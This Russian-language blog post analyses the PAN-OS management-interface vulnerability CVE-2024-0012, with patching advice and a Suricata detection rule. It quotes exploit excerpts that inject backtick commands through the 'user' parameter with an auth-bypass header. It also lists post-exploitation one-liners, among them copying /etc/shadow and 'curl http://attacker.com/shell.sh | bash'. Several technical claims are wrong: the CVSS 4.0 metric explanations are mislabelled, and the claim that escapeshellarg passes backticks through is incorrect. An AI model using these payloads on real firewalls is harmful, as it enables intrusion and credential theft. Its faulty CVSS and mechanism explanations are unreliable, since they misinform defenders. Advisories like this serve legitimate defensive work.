Уязвимость веб-интерфейса управления межсетевых экранов Palo Alto Networks
Уязвимость веб-интерфейса управления межсетевых экранов Palo Alto Networks
Категория: Программы Теги: Уязвимости Опубликовано: 12 июня 2025

Уязвимость BDU:2024-09796 (CVE-2024-0012) Palo Alto Networks

Уязвимость BDU:2024-09796 (CVE-2024-0012) представляет собой комбинацию недостатков валидации входных данных и аутентификации в веб-интерфейсе управления межсетевыми экранами Palo Alto Networks под управлением PAN-OS. Уязвимость позволяет удаленному злоумышленнику выполнять произвольные команды на системе без аутентификации.

Анализ уязвимости

Уровень опасности: 9.3 CRITICAL (CVSS-B)
Вектор атаки: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/

VI:H/VA:H/SC:L/SI:N/SA:N/AU:N/R:U/V:C/RE:H/U:Red

  • AV:N (Attack Vector: Network) - Атака через сеть

  • AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации

  • AT:N (Attack Requirements: None) - Требования к атаке отсутствуют

  • PR:N (Privileges Required: None) - Привилегии не требуются

  • UI:N (User Interaction: None) - Взаимодействие с пользователем не требуется

  • VC:H (Confidentiality Impact: High) - Высокий ущерб конфиденциальности

  • VI:H (Integrity Impact: High) - Высокий ущерб целостности

  • VA:H (Availability Impact: High) - Высокий ущерб доступности

  • SC:L (Confidentiality Scope: Local) - Область воздействия на конфиденциальность: локальная

  • SI:N (Integrity Scope: Unchanged) - Область воздействия на целостность: не изменена

  • SA:N (Availability Scope: Unchanged) - Область воздействия на доступность: не изменена

  • AU:N (Authorization Scope: None) - Область авторизации: отсутствует

  • R:U (Recovery: Unrecoverable) - Восстановление невозможно

  • V:C (Vulnerability Response Effort: High) - Большие усилия для устранения уязвимости

  • RE:H (Environmental Severity: High) - Высокая критичность в среде

  • U:Red (Safety Requirement: Critical) - Критичные требования к безопасности

Условия эксплуатации

  1. Доступ к интерфейсу управления: Злоумышленник должен иметь сетевой доступ к порту веб-интерфейса (обычно TCP/443)

  2. Уязвимые версии PAN-OS:

    • Версии до 11.2.4-h1

    • Версии до 11.1.5-h1

    • Версии до 11.0.6-h1

    • Версии до 10.2.12-h2

  3. Отсутствие дополнительной защиты: Нет WAF или правил IPS, блокирующих аномальные запросы

Технический механизм уязвимости

Уязвимость CVE-2024-0012 существует в скрипте createRemoteAppwebSession.php, который некорректно обрабатывает параметр user:

// Упрощенный псевдокод уязвимого скрипта
$user = $_POST['user'];
$command = "create_session --user " . escapeshellarg($user);
system($command); // Уязвимый вызов!

Хотя используется escapeshellarg(), отсутствует проверка на подстановку команд через backticks (`), что позволяет инъекцию команд.

Анализ эксплойтов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.

Эксплойт 1 (Chirag Artani):

data = {
    'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
    'userRole': 'superuser',
    'remoteHost': '',
    'vsys': 'vsys1'
}

Механизм работы:

  1. Отправка POST-запроса с инъекцией команды в параметр user

  2. Использование заголовка X-PAN-AUTHCHECK: off для bypass аутентификации

  3. Запись результата команды в веб-доступный файл

  4. Последующее чтение файла для получения вывода

Эксплойт 2 (GUI Diego Collao):
Добавляет графический интерфейс и параметризацию команд:

command = self.command_input.text().strip()
data = {'user': f'`{command} > /var/appweb/htdocs/unauth/cve.php`', ...}

Ключевые особенности:

  • Позволяет выполнять произвольные команды через GUI

  • Использует тот же путь эксплуатации

  • Автоматизирует проверку результата

Эксплойт 3 (Nuclei template):
Обнаружение уязвимости через проверку ответа:

path: "{{BaseURL}}/php/utils/CmsGetDeviceSoftwareVersion.php/.js.map"
matchers:
  - type: word
    words:
      - "0.0.0" # Характерный ответ уязвимых систем

Возможные последствия эксплуатации

  1. Полная компрометация firewall:

    `cp /etc/shadow /var/appweb/htdocs/unauth/creds.txt`
  2. Перехват сетевого трафика:

    `tcpdump -i any -w /var/appweb/htdocs/unauth/pcap.pcap`
  3. Установка бэкдоров:

    `curl http://attacker.com/shell.sh | bash`
  4. Изменение правил firewall:

    `clish -c "set rule id 100 action allow"`
  5. Кража конфигураций:

    `cp /config/active-config.xml /var/appweb/htdocs/unauth/config.xml`

Меры защиты

  1. Срочное обновление:
    Установить исправленные версии:

    • PAN-OS 11.2.4-h1+

    • PAN-OS 11.1.5-h1+

    • PAN-OS 11.0.6-h1+

    • PAN-OS 10.2.12-h2+

  2. Сегментация сети:

    • Ограничить доступ к интерфейсу управления только доверенным IP-адресам

    • Выделить отдельный VLAN для management-интерфейсов

  3. Правило Suricata для детектирования:

alert http any any -> $HOME_NET any (msg:"Palo Alto CVE-2024-0012 Exploit Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/php/utils/createRemoteAppwebSession.php"; http.header; content:"X-PAN-AUTHCHECK"; content:"off"; http.request_body; content:"user=|60|"; content:"`"; distance:0; metadata:policy security-ips drop; sid:202409796; rev:1;)
Данное правило можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).
  1. Дополнительные меры:

    • Включить Multi-Factor Authentication для административного доступа

    • Регулярно аудитировать журналы аутентификации

    • Ограничить привилегии административных учетных записей

Заключение

CVE-2024-0012 (BDU:2024-09796) представляет экстремально высокий риск для инфраструктур, использующих уязвимые версии PAN-OS. Уязвимость позволяет полный компрометации firewall без аутентификации. Критически важно немедленно применить обновления и реализовать дополнительные меры защиты, особенно сегментацию сети и мониторинг подозрительной активности.

Алексей Черемных Алексей Черемных
202